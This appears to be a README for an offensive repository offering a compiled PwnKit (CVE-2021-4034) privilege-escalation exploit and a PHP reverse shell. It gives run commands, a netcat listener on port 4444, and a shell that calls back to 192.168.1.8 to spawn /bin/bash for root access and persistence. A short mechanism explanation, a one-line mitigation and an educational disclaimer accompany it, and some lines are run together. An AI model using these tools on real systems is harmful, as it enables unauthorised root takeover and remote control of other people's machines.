
Repositorio de investigación de seguridad que contiene una Prueba de Concepto (PoC) para la vulnerabilidad CVE-2021-4034 (PwnKit) y utilidades de scripting para la demostración de escalada de privilegios y ejecución remota en entornos Linux.
⚠️ DISCLAIMER: This repository has been created solely for educational and security research purposes. The author is not responsible for the misuse of these tools. Use it only in controlled environments or where you have explicit permission.
This repository contains a compiled Proof of Concept (PoC) for the PwnKit vulnerability (CVE-2021-4034), a critical local privilege escalation flaw in the pkexec component of Polkit.
Additionally, a PHP Reverse Shell script is included, ready to be deployed after exploitation or as an initial access vector.
Achieve root access on vulnerable Linux systems and establish persistence or remote control via a reverse shell.
PwnKit (ELF Binary)The compiled exploit for CVE-2021-4034.
pkexec to load a malicious shared library and execute code as root.pkexec to be installed on the target.reverseShell.phpA lightweight payload to establish a reverse connection.
192.168.1.84444/bin/bashphp reverseShell.php) or injected into a vulnerable web server.PwnKit binary to the victim system.chmod +x PwnKit
./PwnKit
nc -lvnp 4444
reverseShell.php if your IP is different from the default configured one.php reverseShell.php
This vulnerability lies in how pkexec handles command line arguments. By passing an empty argument list, pkexec attempts to access argv[1] out of bounds, allowing an attacker to overwrite environment variables in memory, specifically injecting a malicious GCONV_PATH variable to hijack the execution flow.
To protect against this exploit:
chmod 0755 /usr/bin/pkexec
Happy Hacking! 🏴☠️